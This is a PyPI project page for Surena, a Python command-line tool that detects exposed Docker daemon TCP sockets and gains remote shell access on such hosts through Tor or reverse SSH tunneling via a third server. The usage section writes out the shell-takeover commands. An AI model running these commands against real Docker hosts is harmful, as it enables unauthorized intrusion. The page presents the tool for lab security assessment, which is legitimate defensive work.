Skip to main content

No project description provided

Project description

Surena

Surena is a tool developed to assess vulnerabilities in Docker daemons when their TCP socket is exposed to a network without paying attention to its security issues. It is developed using Click, a Python CLI library, and the Docker SDK for Python. Surena demonstrates how a hacker can gain shell access from an insecure Docker Host using two methods: Tor Network and SSH Reverse Tunneling. To understand more about how Surena works and how to use these methods, please refer to Medium article: article. The name Surena is derived from a Parthian(Iranian) spahbed from the first century BC. For further information, you can visit the Wikipedia page on Surena.

Installation

Surena can be installed from PyPI by running:

pip install surena

Once installed, Surena can be run using the following commands in your terminal. To view available commands and options, use:

surena --help

Using

Surena offers two commands: is-docker-host and get-docker-host. The is-docker-host command checks if the Docker daemon's TCP port is accessible from the network. To understand its options, run:

surena is-docker-host --help

For example, execute the command with these options:

surena is-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT

The get-docker-host command is used to gain shell access from the Docker daemon using two methods. To understand its options, run:

surena get-docker-host --help

Please note, if Surena can gain shell access from the Docker host, it will create a text file named "WARNING.surena" in the "/root/" path of the Docker host. For example, to gain shell access using the Tor Network method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method tor

To gain shell access using the Reverse SSH Tunneling method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method reverse-ssh --ssh-server-address $THIRD_SERVER_IP --ssh-server-username $THIRD_SERVER_USERNAME --ssh-server-password $THIRD_SERVER_PASSWORD --ssh-server-port $THIRD_SERVER_SSH_PORT

Please note that in the remote SSH server or in the THIRD_SERVER_IP, which has already been mentioned, the "GatewayPorts" configuration in the sshd_config file located at /etc/ssh/sshd_config should be changed from GatewayPorts no to either GatewayPorts clientspecified or GatewayPorts yes to enable it.

Additionally, ensure to replace $DOCKER_HOST_IP, $DOCKER_HOST_PORT, $THIRD_SERVER_IP, $THIRD_SERVER_USERNAME, $THIRD_SERVER_PASSWORD, and $THIRD_SERVER_SSH_PORT with the appropriate values.

Warning

Surena is intended for lab use and to help you understand whether your Docker daemon is secure or insecure. PLEASE DO NOT USE SURENA FOR MALICIOUS ACTIVITIES.

Donate

If Surena has helped you secure your infrastructure, particularly those utilizing Docker daemons over the network, I would be grateful if you could consider supporting by donating Tether or Dogecoin.

USDT (TRC20): TXcb1yTW71QZhqVEFx3Y1JGZVu384Mt17B
Dogecoin: DRizEG8R6wW2cW5MNEAnERMMEMq6wupQMA

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

surena-0.1.2.tar.gz (11.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

surena-0.1.2-py3-none-any.whl (14.8 kB view details)

Uploaded Python 3

File details

Details for the file surena-0.1.2.tar.gz.

File metadata

  • Download URL: surena-0.1.2.tar.gz
  • Upload date:
  • Size: 11.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure

File hashes

Hashes for surena-0.1.2.tar.gz
Algorithm Hash digest
SHA256 6bc5c15cc98764c0360e4ca6a2b045c472783f71747c921ab6b9be943cfe2158
MD5 3290fd195714937f22ad2d2f29b4fbf3
BLAKE2b-256 fb32d4105e153ca0fdec2b83edb2d225beba79969b4a20969d4037f41ff223ea

See more details on using hashes here.

File details

Details for the file surena-0.1.2-py3-none-any.whl.

File metadata

  • Download URL: surena-0.1.2-py3-none-any.whl
  • Upload date:
  • Size: 14.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure

File hashes

Hashes for surena-0.1.2-py3-none-any.whl
Algorithm Hash digest
SHA256 300b69a651e3a322b0ef31c3865cc61e3c590cf952636cc5adb501f1806fd273
MD5 12aff818b1fe175ed3b81930f3baa0f2
BLAKE2b-256 3c4b0de520cd8ce8fcb0cd3bc953e390cd941a0d2ddc5e3190015a960cdc748b

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page